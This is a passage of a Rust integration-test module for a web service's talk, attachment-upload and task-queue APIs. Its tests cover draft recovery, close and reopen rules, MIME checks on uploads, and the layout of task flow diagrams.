15129        let id = f.post("/api/talks", None).await.json()["id"]
15130            .as_str()
15131            .expect("id")
15132            .to_owned();
15133        let store = f.talks();
15134        let mut recovered = store.get(&id).expect("opened talk");
15135        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15136            .expect("persist pending draft without a live turn");
15137
15138        let edited = f
15139            .post(
15140                &format!("/api/talks/{id}/pending/edit"),
15141                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15142            )
15143            .await;
15144        assert_eq!(edited.status, 200, "{}", edited.body);
15145        assert!(edited.json()["thinking"].as_bool().unwrap());
15146
15147        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15148        for _ in 0..SETTLE_STEPS {
15149            if detail["turns"].as_array().expect("turns").len() == 2 {
15150                break;
15151            }
15152            tokio::time::sleep(Duration::from_millis(10)).await;
15153            detail = f.get(&format!("/api/talks/{id}")).await.json();
15154        }
15155        let turns = detail["turns"].as_array().expect("turns");
15156        assert_eq!(
15157            turns.len(),
15158            2,
15159            "the recovered draft must run once: {detail}"
15160        );
15161        assert_eq!(turns[0]["body"], "corrected");
15162        assert_eq!(detail["pending"], "");
15163    }
15164
15165    #[tokio::test]
15166    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15167        let tmp = TempDir::new().expect("tempdir");
15168        let repo = tmp.path().join("repo");
15169        std::fs::create_dir_all(&repo).expect("repo dir");
15170        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15171        let f = Fixture::with_repo(repo).await;
15172        let id = f.post("/api/talks", None).await.json()["id"]
15173            .as_str()
15174            .expect("id")
15175            .to_owned();
15176        let store = f.talks();
15177        let mut recovered = store.get(&id).expect("opened talk");
15178        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15179            .expect("persist pending draft without a live turn");
15180
15181        let refused = f
15182            .post(
15183                &format!("/api/talks/{id}/say"),
15184                Some(r#"{"text":"new message"}"#),
15185            )
15186            .await;
15187        assert_eq!(refused.status, 409, "{}", refused.body);
15188        assert!(refused.body.contains("resume"), "{}", refused.body);
15189        let saved = store.get(&id).expect("draft remains after refusal");
15190        assert!(saved.turns.is_empty());
15191        assert_eq!(saved.pending, "saved before restart");
15192
15193        let say_path = format!("/api/talks/{id}/say");
15194        let (first, second) = tokio::join!(
15195            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15196            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15197        );
15198        assert_eq!(first.status, 409, "{}", first.body);
15199        assert_eq!(second.status, 409, "{}", second.body);
15200        let saved = store
15201            .get(&id)
15202            .expect("draft remains after concurrent refusals");
15203        assert!(saved.turns.is_empty());
15204        assert_eq!(saved.pending, "saved before restart");
15205
15206        let resumed = f
15207            .post(&format!("/api/talks/{id}/pending/resume"), None)
15208            .await;
15209        assert_eq!(resumed.status, 202, "{}", resumed.body);
15210        let duplicate = f
15211            .post(&format!("/api/talks/{id}/pending/resume"), None)
15212            .await;
15213        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15214
15215        for _ in 0..SETTLE_STEPS {
15216            if store.get(&id).expect("talk").turns.len() == 2 {
15217                break;
15218            }
15219            tokio::time::sleep(Duration::from_millis(10)).await;
15220        }
15221        let finished = store.get(&id).expect("finished talk");
15222        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15223        assert_eq!(finished.turns[0].body, "saved before restart");
15224        assert!(finished.pending.is_empty());
15225    }
15226
15227    #[tokio::test]
15228    async fn an_image_only_recovered_draft_resumes_without_text() {
15229        let (_tmp, _repo, f) = talk_fixture().await;
15230        let id = f.post("/api/talks", None).await.json()["id"]
15231            .as_str()
15232            .expect("id")
15233            .to_owned();
15234        let uploaded = f
15235            .post_bytes(
15236                &format!("/api/talks/{id}/attachments"),
15237                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15238                PNG_BYTES,
15239            )
15240            .await;
15241        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15242        let attachment = f
15243            .talks()
15244            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15245            .expect("attachment metadata")
15246            .expect("stored attachment");
15247        let store = f.talks();
15248        let mut recovered = store.get(&id).expect("opened talk");
15249        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15250
15251        let resumed = f
15252            .post(&format!("/api/talks/{id}/pending/resume"), None)
15253            .await;
15254        assert_eq!(resumed.status, 202, "{}", resumed.body);
15255        for _ in 0..SETTLE_STEPS {
15256            if store.get(&id).expect("talk").turns.len() == 2 {
15257                break;
15258            }
15259            tokio::time::sleep(Duration::from_millis(10)).await;
15260        }
15261        let finished = store.get(&id).expect("finished talk");
15262        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15263        assert!(finished.turns[0].body.is_empty());
15264        assert_eq!(finished.turns[0].attachments.len(), 1);
15265        assert!(finished.pending_attachments.is_empty());
15266    }
15267
15268    #[tokio::test]
15269    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15270        let (_tmp, _repo, f) = talk_fixture().await;
15271        let id = f.post("/api/talks", None).await.json()["id"]
15272            .as_str()
15273            .expect("id")
15274            .to_owned();
15275        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15276        assert_eq!(closed.status, 200, "{}", closed.body);
15277        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15278            .expect("serialize closed talk");
15279        for (path, body) in [
15280            (format!("/api/talks/{id}/pending/resume"), None),
15281            (
15282                format!("/api/talks/{id}/pending/clear"),
15283                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15284            ),
15285            (
15286                format!("/api/talks/{id}/pending/edit"),
15287                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15288            ),
15289            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15290        ] {
15291            let response = f.post(&path, body).await;
15292            assert_eq!(response.status, 409, "{}", response.body);
15293        }
15294        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15295            .expect("serialize closed talk");
15296        assert_eq!(
15297            after_clear, before_clear,
15298            "clear must not rewrite a closed talk"
15299        );
15300    }
15301
15302    /// Keeps both claims observable long enough to exercise the distinction
15303    /// between one busy talk and a globally locked Chat surface.
15304    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15305
15306    #[tokio::test]
15307    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15308        let tmp = TempDir::new().expect("tempdir");
15309        let repo = tmp.path().join("repo");
15310        std::fs::create_dir_all(&repo).expect("repo dir");
15311        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15312        let f = Fixture::with_repo(repo).await;
15313        let id_a = f.post("/api/talks", None).await.json()["id"]
15314            .as_str()
15315            .unwrap()
15316            .to_owned();
15317        let id_b = f.post("/api/talks", None).await.json()["id"]
15318            .as_str()
15319            .unwrap()
15320            .to_owned();
15321
15322        let a = f
15323            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15324            .await;
15325        assert_eq!(a.status, 202, "{}", a.body);
15326        assert_eq!(a.json()["thinking"], true);
15327        let b = f
15328            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15329            .await;
15330        assert_eq!(b.status, 202, "{}", b.body);
15331        assert_eq!(b.json()["thinking"], true);
15332
15333        let listed = f.get("/api/talks").await.json();
15334        for id in [&id_a, &id_b] {
15335            let view = listed
15336                .as_array()
15337                .unwrap()
15338                .iter()
15339                .find(|talk| talk["id"] == *id)
15340                .unwrap();
15341            assert_eq!(view["thinking"], true, "{listed}");
15342        }
15343        let repeated = f
15344            .post(
15345                &format!("/api/talks/{id_a}/say"),
15346                Some(r#"{"text":"again"}"#),
15347            )
15348            .await;
15349        assert_eq!(repeated.status, 202, "{}", repeated.body);
15350        assert_eq!(repeated.json()["pending"], "again");
15351    }
15352
15353    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15354    /// few more, since real uploads are never exactly eight bytes.
15355    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15356
15357    #[tokio::test]
15358    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15359        let f = Fixture::start().await;
15360        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15361
15362        let res = f
15363            .post_bytes(
15364                &format!("/api/talks/{id}/attachments"),
15365                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15366                PNG_BYTES,
15367            )
15368            .await;
15369        assert_eq!(res.status, 201, "{}", res.body);
15370        let body = res.json();
15371        assert_eq!(body["name"], "shot.png");
15372        assert_eq!(body["mime"], "image/png");
15373        assert_eq!(body["bytes"], PNG_BYTES.len());
15374        let att_id = body["id"].as_str().expect("id").to_owned();
15375        assert_eq!(
15376            att_id.len(),
15377            32,
15378            "the id must never be a client-suppliable path: {att_id}"
15379        );
15380
15381        let got = f
15382            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15383            .await;
15384        assert_eq!(got.status, 200, "{}", got.body);
15385        assert_eq!(got.header("content-type"), Some("image/png"));
15386        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15387        assert_eq!(got.bytes, PNG_BYTES);
15388    }
15389
15390    #[tokio::test]
15391    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15392        let f = Fixture::start().await;
15393        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15394
15395        // SVG can carry a `<script>`, so it is never on the whitelist even
15396        // though it is a real IANA image type.
15397        let svg = f
15398            .post_bytes(
15399                &format!("/api/talks/{id}/attachments"),
15400                &[("Content-Type", "image/svg+xml")],
15401                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15402            )
15403            .await;
15404        assert!(
15405            (400..500).contains(&svg.status),
15406            "svg must be refused: {} {}",
15407            svg.status,
15408            svg.body
15409        );
15410        assert!(svg.body.contains("SVG"), "{}", svg.body);
15411
15412        let text = f
15413            .post_bytes(
15414                &format!("/api/talks/{id}/attachments"),
15415                &[("Content-Type", "text/plain")],
15416                b"just some text",
15417            )
15418            .await;
15419        assert!(
15420            (400..500).contains(&text.status),
15421            "an unlisted type must be refused: {} {}",
15422            text.status,
15423            text.body
15424        );
15425
15426        // The declared type is a real png, but the size check runs before
15427        // the bytes are even looked at.
15428        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15429        let big = f
15430            .post_bytes(
15431                &format!("/api/talks/{id}/attachments"),
15432                &[("Content-Type", "image/png")],
15433                &oversized,
15434            )
15435            .await;
15436        assert_eq!(
15437            big.status,
15438            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15439            "{}",
15440            big.body
15441        );
15442    }
15443
15444    #[tokio::test]
15445    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15446        let f = Fixture::start().await;
15447        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15448
15449        // A whitelisted `Content-Type`, but bytes that are not actually a
15450        // png - the declared header alone is never trusted.
15451        let res = f
15452            .post_bytes(
15453                &format!("/api/talks/{id}/attachments"),
15454                &[("Content-Type", "image/png")],
15455                b"<html>not a picture</html>",
15456            )
15457            .await;
15458        assert!((400..500).contains(&res.status), "{}", res.body);
15459    }
15460
15461    #[tokio::test]
15462    async fn an_unknown_attachment_id_is_a_404() {
15463        let f = Fixture::start().await;
15464        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15465
15466        let res = f
15467            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15468            .await;
15469        assert_eq!(res.status, 404, "{}", res.body);
15470    }
15471
15472    #[tokio::test]
15473    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15474        let f = Fixture::start().await;
15475        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15476
15477        let uploaded = f
15478            .post_bytes(
15479                &format!("/api/talks/{id}/attachments"),
15480                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15481                PNG_BYTES,
15482            )
15483            .await;
15484        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15485        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15486
15487        let res = f
15488            .post(
15489                &format!("/api/talks/{id}/say"),
15490                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15491            )
15492            .await;
15493        assert_eq!(res.status, 202, "{}", res.body);
15494        let queued = res.json();
15495        let turns = queued["turns"].as_array().expect("turns array");
15496        assert_eq!(
15497            turns.len(),
15498            1,
15499            "an empty body with an attachment is still a turn: {queued}"
15500        );
15501        assert_eq!(turns[0]["who"], "operator");
15502        assert_eq!(turns[0]["body"], "");
15503        let atts = turns[0]["attachments"]
15504            .as_array()
15505            .expect("attachments array");
15506        assert_eq!(atts.len(), 1);
15507        assert_eq!(atts[0]["id"], att_id);
15508        assert_eq!(atts[0]["mime"], "image/png");
15509
15510        // Not only in the response: `record` flushes to disk before the
15511        // agent's own turn is even spawned.
15512        let on_disk = f.talks().get(&id).expect("get");
15513        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15514        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15515    }
15516
15517    #[tokio::test]
15518    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15519        let f = Fixture::start().await;
15520        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15521
15522        let res = f
15523            .post(
15524                &format!("/api/talks/{id}/say"),
15525                Some(&format!(
15526                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15527                    "a".repeat(32)
15528                )),
15529            )
15530            .await;
15531        assert!((400..500).contains(&res.status), "{}", res.body);
15532        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15533
15534        let on_disk = f.talks().get(&id).expect("get");
15535        assert!(
15536            on_disk.turns.is_empty(),
15537            "a rejected attachment id must not partially record the turn: {:?}",
15538            on_disk.turns
15539        );
15540    }
15541
15542    #[tokio::test]
15543    async fn talk_close_makes_the_talk_refuse_further_turns() {
15544        let f = Fixture::start().await;
15545        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15546
15547        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15548        assert_eq!(closed.status, 200, "{}", closed.body);
15549        assert_eq!(closed.json()["status"], "closed");
15550
15551        // Idempotent: closing an already-closed talk is not an error.
15552        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15553        assert_eq!(closed_again.status, 200);
15554        assert_eq!(closed_again.json()["status"], "closed");
15555
15556        let said = f
15557            .post(
15558                &format!("/api/talks/{id}/say"),
15559                Some(r#"{"text":"too late"}"#),
15560            )
15561            .await;
15562        assert_eq!(said.status, 409, "{}", said.body);
15563    }
15564
15565    #[tokio::test]
15566    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15567        let (_tmp, _repo, f) = talk_fixture().await;
15568        let id = f.post("/api/talks", None).await.json()["id"]
15569            .as_str()
15570            .expect("id")
15571            .to_owned();
15572        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15573        assert_eq!(closed.status, 200, "{}", closed.body);
15574
15575        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15576        assert_eq!(reopened.status, 200, "{}", reopened.body);
15577        assert_eq!(reopened.json()["status"], "open");
15578
15579        // Idempotent: reopening an already-open talk is not an error.
15580        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15581        assert_eq!(reopened_again.status, 200);
15582        assert_eq!(reopened_again.json()["status"], "open");
15583
15584        let said = f
15585            .post(
15586                &format!("/api/talks/{id}/say"),
15587                Some(r#"{"text":"still there?"}"#),
15588            )
15589            .await;
15590        assert_eq!(
15591            said.status, 202,
15592            "a reopened talk accepts turns again: {}",
15593            said.body
15594        );
15595    }
15596
15597    #[tokio::test]
15598    async fn talk_reopen_on_an_unknown_id_is_404() {
15599        let f = Fixture::start().await;
15600        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15601        assert_eq!(res.status, 404, "{}", res.body);
15602    }
15603
15604    #[tokio::test]
15605    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15606        let f = Fixture::start().await;
15607        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15608
15609        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15610        assert_eq!(deleted.status, 204, "{}", deleted.body);
15611
15612        let after = f.get(&format!("/api/talks/{id}")).await;
15613        assert_eq!(after.status, 404, "{}", after.body);
15614
15615        let listed = f.get("/api/talks").await.json();
15616        assert!(
15617            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15618            "a deleted talk must not linger in the list: {listed}"
15619        );
15620    }
15621
15622    #[tokio::test]
15623    async fn talk_delete_on_an_unknown_id_is_404() {
15624        let f = Fixture::start().await;
15625        let res = f.delete("/api/talks/nonexistent-id").await;
15626        assert_eq!(res.status, 404, "{}", res.body);
15627    }
15628
15629    /// A task's page lists every run it ever had, in order, and says what kind
15630    /// of attempt each was - including a resume, which re-pushes the same run
15631    /// id, and a run whose record this build cannot read.
15632    #[tokio::test]
15633    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15634        let f = Fixture::start().await;
15635        let (a, b, gone) = (
15636            "20260902-140501-aaaa",
15637            "20260902-140502-bbbb",
15638            "20260902-140503-cccc",
15639        );
15640        write_run(&f.runs(), a, RunStatus::Stalled);
15641        let mut review = RunState::new(
15642            PathBuf::from("/repo/magi"),
15643            "main".to_owned(),
15644            "0123456789abcdef".to_owned(),
15645            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15646                .to_owned(),
15647            Config::default(),
15648        );
15649        review.id = b.to_owned();
15650        review.status = RunStatus::Merged;
15651        write_state(&f.runs(), &review);
15652
15653        let mut task = Task::new(
15654            "retry".to_owned(),
15655            "Do the thing".to_owned(),
15656            PathBuf::from("/repo/magi"),
15657            Source::Human,
15658        );
15659        task.start(a.to_owned());
15660        task.stall("quota");
15661        task.start(a.to_owned());
15662        task.start(b.to_owned());
15663        task.start(gone.to_owned());
15664        // This fixture models an older queue file with repeated run entries.
15665        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15666        f.queue().put(&mut task).expect("file the task");
15667
15668        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15669        assert_eq!(res.status, 200, "{}", res.body);
15670        let v = res.json();
15671        let h = v["history"].as_array().expect("history");
15672        assert_eq!(h.len(), 4, "{v}");
15673        assert_eq!(h[0]["kind"], "competition");
15674        assert_eq!(h[0]["status"], "stalled");
15675        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15676        assert_eq!(h[1]["kind"], "resume", "{v}");
15677        assert!(
15678            h[0]["outcome"]
15679                .as_str()
15680                .unwrap()
15681                .contains("unknown. Pass #2"),
15682            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15683        );
15684        assert!(
15685            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15686            "{v}"
15687        );
15688        assert!(
15689            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15690            "an unrecorded cause must not be narrated as an operator park: {v}"
15691        );
15692        assert_eq!(h[2]["kind"], "review");
15693        assert!(
15694            h[2]["description"]
15695                .as_str()
15696                .unwrap()
15697                .contains("magi/aaaa/A")
15698        );
15699        assert_eq!(h[2]["status"], "merged");
15700        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15701        assert_eq!(v["runs_unreadable"], 1);
15702        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15703        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15704        assert_eq!(nodes[4]["note"], "unreadable");
15705        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15706        assert_eq!(v["instruction"], "Do the thing");
15707        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15708
15709        // The run's own page links back to the task.
15710        let run = f.get(&format!("/api/runs/{a}")).await.json();
15711        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15712
15713        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15714    }
15715
15716    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15717        let mut s = RunState::new(
15718            PathBuf::from("/repo/magi"),
15719            "main".to_owned(),
15720            "0123456789abcdef".to_owned(),
15721            "Do it".to_owned(),
15722            Config::default(),
15723        );
15724        s.status = status;
15725        edit(&mut s);
15726        s
15727    }
15728
15729    fn flow_task(runs: &[&str]) -> Task {
15730        let mut t = Task::new(
15731            "t".to_owned(),
15732            "Do it".to_owned(),
15733            PathBuf::from("/repo/magi"),
15734            Source::Human,
15735        );
15736        for r in runs {
15737            t.start((*r).to_owned());
15738        }
15739        // Synthetic flows without RunPass records model legacy queue data.
15740        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15741        t
15742    }
15743
15744    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15745        let h = task_history(task, |id| {
15746            states
15747                .iter()
15748                .find(|(i, _)| *i == id)
15749                .and_then(|(_, s)| s.clone())
15750        });
15751        task_flow(task, &h, 5, None)
15752    }
15753
15754    #[test]
15755    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15756        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15757        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15758        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15759        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15760        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15761        let run = flow_run(RunStatus::Implementing, |s| {
15762            s.created_at = created;
15763            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15764            s.passes[0].started_at = first;
15765            s.passes[1].started_at = resumed;
15766        });
15767        let mut task = flow_task(&[RUN_X, RUN_X]);
15768        task.created_at = queued;
15769        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15770        task.status = TaskStatus::Held;
15771        task.held_at = Some(held);
15772        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15773        assert_eq!(
15774            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15775            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15776        );
15777        assert!(flow.nodes.iter().all(|n| n.time_expected));
15778        let json = serde_json::to_value(&flow).unwrap();
15779        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15780        assert_eq!(json["nodes"][2]["time_expected"], true);
15781    }
15782
15783    #[test]
15784    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15785        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15786        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15787        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15788        // These timestamps are not the start of the current status.
15789        task.held_at = Some(created);
15790        task.blocked_at = Some(created);
15791        for status in [
15792            TaskStatus::Queued,
15793            TaskStatus::Running,
15794            TaskStatus::Blocked,
15795            TaskStatus::Done,
15796            TaskStatus::Failed,
15797            TaskStatus::Parked,
15798            TaskStatus::Held,
15799        ] {
15800            task.status = status;
15801            if status == TaskStatus::Held {
15802                task.held_at = None;
15803            }
15804            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15805            assert_eq!(flow.nodes[1].started_at, Some(created));
15806            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15807            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15808            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15809            let json = serde_json::to_value(&flow).unwrap();
15810            assert!(json["nodes"][3]["started_at"].is_null());
15811            assert_eq!(json["nodes"][3]["time_expected"], true);
15812        }
15813    }
15814
15815    #[test]
15816    fn flow_context_links_do_not_expect_start_times() {
15817        let mut task = flow_task(&[]);
15818        task.source = Source::Agent {
15819            run: "chat-id".to_owned(),
15820            node: "chat".to_owned(),
15821        };
15822        let origin = followup_origin(&fu(None), |_| None, |_| None);
15823        let flow = task_flow(&task, &[], 5, Some(&origin));
15824        for node in &flow.nodes[..2] {
15825            assert!(!node.time_expected);
15826            assert_eq!(node.started_at, None);
15827        }
15828        assert!(flow.nodes[2].time_expected);
15829    }
15830
15831    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15832        crate::queue::FollowUp {
15833            run: "20260901-000000-aaaa".to_owned(),
15834            origin_task: origin_task.map(str::to_owned),
15835            pr: "https://example.com/o/r/pull/1".to_owned(),
15836            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15837                .map(str::to_owned)
15838                .to_vec(),
15839            generation: 1,
15840        }
15841    }
15842
15843    fn parent_task() -> Task {
15844        let mut p = flow_task(&[]);
15845        p.title = "Parent title".to_owned();
15846        p.status = TaskStatus::Done;
15847        p
15848    }
15849
15850    #[test]
15851    fn flow_opens_with_the_parent_task_of_a_followup() {
15852        let p = parent_task();
15853        let pid = p.id.clone();
15854        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15855        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15856        let n = &f.nodes[0];
15857        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15858        assert_eq!(
15859            n.label,
15860            format!("Follow-up of {}", crate::queue::short(&pid))
15861        );
15862        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15863        assert_eq!(n.status, Some("done"));
15864        assert_eq!(n.status_of, "task");
15865        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15866        assert_eq!(f.nodes[1].key, "start");
15867        assert_eq!(f.edges[0].from, "origin");
15868        assert_eq!(
15869            f.edges[0].label,
15870            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15871        );
15872    }
15873
15874    #[test]
15875    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15876        let o = followup_origin(
15877            &fu(Some("gone")),
15878            |_| None,
15879            |_| {
15880                Some(RunState::new(
15881                    std::path::PathBuf::from("."),
15882                    "main".to_owned(),
15883                    "0".to_owned(),
15884                    "t".to_owned(),
15885                    crate::config::Config::default(),
15886                ))
15887            },
15888        );
15889        assert!(o.parent.is_none());
15890        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15891        let n = &f.nodes[0];
15892        assert_eq!(n.status_of, "run");
15893        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15894        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15895    }
15896
15897    #[test]
15898    fn flow_followup_with_nothing_readable_has_no_link() {
15899        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15900        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15901        let n = &f.nodes[0];
15902        assert_eq!(n.href, None);
15903        assert_eq!(n.note, Some("unreadable"));
15904        assert!(!n.readable);
15905    }
15906
15907    #[test]
15908    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15909        let o = followup_origin(&fu(None), |_| None, |_| None);
15910        let mut t = flow_task(&[]);
15911        t.origin_chat = Some("c1".to_owned());
15912        let f = task_flow(&t, &[], 5, Some(&o));
15913        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15914        t.source = Source::Agent {
15915            run: "c1".to_owned(),
15916            node: crate::queue::CHAT_NODE.to_owned(),
15917        };
15918        let f = task_flow(&t, &[], 5, Some(&o));
15919        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15920        assert_eq!(
15921            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15922            ("chat", "origin")
15923        );
15924    }
15925
15926    #[test]
15927    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15928        let mut p = parent_task();
15929        p.id = "a b/c".to_owned();
15930        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15931        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15932    }
15933
15934    #[test]
15935    fn flow_opens_with_the_chat_that_queued_the_task() {
15936        let mut t = flow_task(&[]);
15937        t.source = Source::Agent {
15938            run: "a b/c".to_owned(),
15939            node: crate::queue::CHAT_NODE.to_owned(),
15940        };
15941        let f = flow_for(&t, &[]);
15942        assert_eq!(f.nodes[0].key, "chat");
15943        assert_eq!(f.nodes[0].kind, "chat");
15944        assert_eq!(
15945            f.nodes[0].label,
15946            format!("Chat {}", crate::queue::short("a b/c"))
15947        );
15948        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15949        assert_eq!(f.nodes[1].key, "start");
15950        assert_eq!(
15951            f.edges[0],
15952            FlowEdge {
15953                from: "chat".to_owned(),
15954                to: "start".to_owned(),
15955                label: "queued from chat".to_owned(),
15956                attempt: AttemptCost::None,
15957            }
15958        );
15959    }
15960
15961    #[test]
15962    fn flow_has_no_chat_box_for_other_sources() {
15963        for source in [
15964            Source::Human,
15965            Source::Issue {
15966                number: 3,
15967                repo: "o/r".to_owned(),
15968            },
15969            Source::Agent {
15970                run: "20260904-014455-ab12".to_owned(),
15971                node: "implement".to_owned(),
15972            },
15973        ] {
15974            let mut t = flow_task(&[]);
15975            t.source = source;
15976            let f = flow_for(&t, &[]);
15977            assert_eq!(f.nodes[0].key, "start");
15978            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15979            assert!(f.edges.iter().all(|e| e.from != "chat"));
15980        }
15981    }
15982
15983    const FA: &str = "20260902-140501-aaaa";
15984    const FB: &str = "20260902-140502-bbbb";
15985
15986    #[test]
